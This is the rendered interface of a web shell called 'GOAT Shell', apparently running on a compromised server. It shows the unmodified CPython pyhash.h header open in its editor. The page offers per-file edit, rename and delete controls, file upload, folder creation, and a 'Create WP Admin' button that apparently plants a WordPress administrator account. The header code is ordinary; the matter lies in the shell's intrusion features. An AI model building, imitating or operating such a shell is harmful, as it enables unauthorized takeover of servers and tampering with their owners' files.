🐐 GOAT Shell
Current path:
opt
/
alt
/
python34
/
include
/
python3.4m
/
👤 Create WP Admin
⬆️
Go up: include
✏️ Editing: pyhash.h
#ifndef Py_HASH_H #define Py_HASH_H #ifdef __cplusplus extern "C" { #endif /* Helpers for hash functions */ #ifndef Py_LIMITED_API PyAPI_FUNC(Py_hash_t) _Py_HashDouble(double); PyAPI_FUNC(Py_hash_t) _Py_HashPointer(void*); PyAPI_FUNC(Py_hash_t) _Py_HashBytes(const void*, Py_ssize_t); #endif /* Prime multiplier used in string and various other hashes. */ #define _PyHASH_MULTIPLIER 1000003UL /* 0xf4243 */ /* Parameters used for the numeric hash implementation. See notes for _Py_HashDouble in Objects/object.c. Numeric hashes are based on reduction modulo the prime 2**_PyHASH_BITS - 1. */ #if SIZEOF_VOID_P >= 8 # define _PyHASH_BITS 61 #else # define _PyHASH_BITS 31 #endif #define _PyHASH_MODULUS (((size_t)1 << _PyHASH_BITS) - 1) #define _PyHASH_INF 314159 #define _PyHASH_NAN 0 #define _PyHASH_IMAG _PyHASH_MULTIPLIER /* hash secret * * memory layout on 64 bit systems * cccccccc cccccccc cccccccc uc -- unsigned char[24] * pppppppp ssssssss ........ fnv -- two Py_hash_t * k0k0k0k0 k1k1k1k1 ........ siphash -- two PY_UINT64_T * ........ ........ ssssssss djbx33a -- 16 bytes padding + one Py_hash_t * ........ ........ eeeeeeee pyexpat XML hash salt * * memory layout on 32 bit systems * cccccccc cccccccc cccccccc uc * ppppssss ........ ........ fnv -- two Py_hash_t * k0k0k0k0 k1k1k1k1 ........ siphash -- two PY_UINT64_T (*) * ........ ........ ssss.... djbx33a -- 16 bytes padding + one Py_hash_t * ........ ........ eeee.... pyexpat XML hash salt * * (*) The siphash member may not be available on 32 bit platforms without * an unsigned int64 data type. */ #ifndef Py_LIMITED_API typedef union { /* ensure 24 bytes */ unsigned char uc[24]; /* two Py_hash_t for FNV */ struct { Py_hash_t prefix; Py_hash_t suffix; } fnv; #ifdef PY_UINT64_T /* two uint64 for SipHash24 */ struct { PY_UINT64_T k0; PY_UINT64_T k1; } siphash; #endif /* a different (!) Py_hash_t for small string optimization */ struct { unsigned char padding[16]; Py_hash_t suffix; } djbx33a; struct { unsigned char padding[16]; Py_hash_t hashsalt; } expat; } _Py_HashSecret_t; PyAPI_DATA(_Py_HashSecret_t) _Py_HashSecret; #endif #ifdef Py_DEBUG PyAPI_DATA(int) _Py_HashSecret_Initialized; #endif /* hash function definition */ #ifndef Py_LIMITED_API typedef struct { Py_hash_t (*const hash)(const void *, Py_ssize_t); const char *name; const int hash_bits; const int seed_bits; } PyHash_FuncDef; PyAPI_FUNC(PyHash_FuncDef*) PyHash_GetFuncDef(void); #endif /* cutoff for small string DJBX33A optimization in range [1, cutoff). * * About 50% of the strings in a typical Python application are smaller than * 6 to 7 chars. However DJBX33A is vulnerable to hash collision attacks. * NEVER use DJBX33A for long strings! * * A Py_HASH_CUTOFF of 0 disables small string optimization. 32 bit platforms * should use a smaller cutoff because it is easier to create colliding * strings. A cutoff of 7 on 64bit platforms and 5 on 32bit platforms should * provide a decent safety margin. */ #ifndef Py_HASH_CUTOFF # define Py_HASH_CUTOFF 0 #elif (Py_HASH_CUTOFF > 7 || Py_HASH_CUTOFF < 0) # error Py_HASH_CUTOFF must in range 0...7. #endif /* Py_HASH_CUTOFF */ /* hash algorithm selection * * The values for Py_HASH_SIPHASH24 and Py_HASH_FNV are hard-coded in the * configure script. * * - FNV is available on all platforms and architectures. * - SIPHASH24 only works on plaforms that provide PY_UINT64_T and doesn't * require aligned memory for integers. * - With EXTERNAL embedders can provide an alternative implementation with:: * * PyHash_FuncDef PyHash_Func = {...}; * * XXX: Figure out __declspec() for extern PyHash_FuncDef. */ #define Py_HASH_EXTERNAL 0 #define Py_HASH_SIPHASH24 1 #define Py_HASH_FNV 2 #ifndef Py_HASH_ALGORITHM # if (defined(PY_UINT64_T) && defined(PY_UINT32_T) \ && !defined(HAVE_ALIGNED_REQUIRED)) # define Py_HASH_ALGORITHM Py_HASH_SIPHASH24 # else # define Py_HASH_ALGORITHM Py_HASH_FNV # endif /* uint64_t && uint32_t && aligned */ #endif /* Py_HASH_ALGORITHM */ #ifdef __cplusplus } #endif #endif /* !Py_HASH_H */
Save
📄
abstract.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
accu.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
asdl.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ast.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
bitset.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
bltinmodule.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
boolobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
bytearrayobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
bytesobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
bytes_methods.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
cellobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ceval.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
classobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
code.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
codecs.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
compile.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
complexobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
datetime.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
descrobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
dictobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
dtoa.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
dynamic_annotations.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
enumobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
errcode.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
eval.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fileobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fileutils.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
floatobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
frameobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
funcobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
genobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
graminit.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
grammar.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
import.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
intrcheck.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
iterobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
listobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
longintrepr.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
longobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
marshal.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
memoryobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
metagrammar.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
methodobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
modsupport.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
moduleobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
namespaceobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
node.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
object.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
objimpl.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
opcode.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
osdefs.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
parsetok.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
patchlevel.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pgen.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pgenheaders.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyarena.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyatomic.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pycapsule.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyconfig-64.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyconfig.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyctype.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pydebug.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyerrors.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyexpat.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyfpe.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pygetopt.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyhash.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pymacconfig.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pymacro.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pymath.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pymem.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pyport.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pystate.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pystrcmp.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pystrtod.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
Python-ast.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
Python.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pythonrun.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pythread.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pytime.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
py_curses.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rangeobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
setobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
sliceobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
structmember.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
structseq.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
symtable.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
sysmodule.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
token.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
traceback.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tupleobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
typeslots.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ucnhash.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
unicodeobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
warnings.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
weakrefobject.h
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📤 Upload File
Upload
📁 Create Folder
Create Folder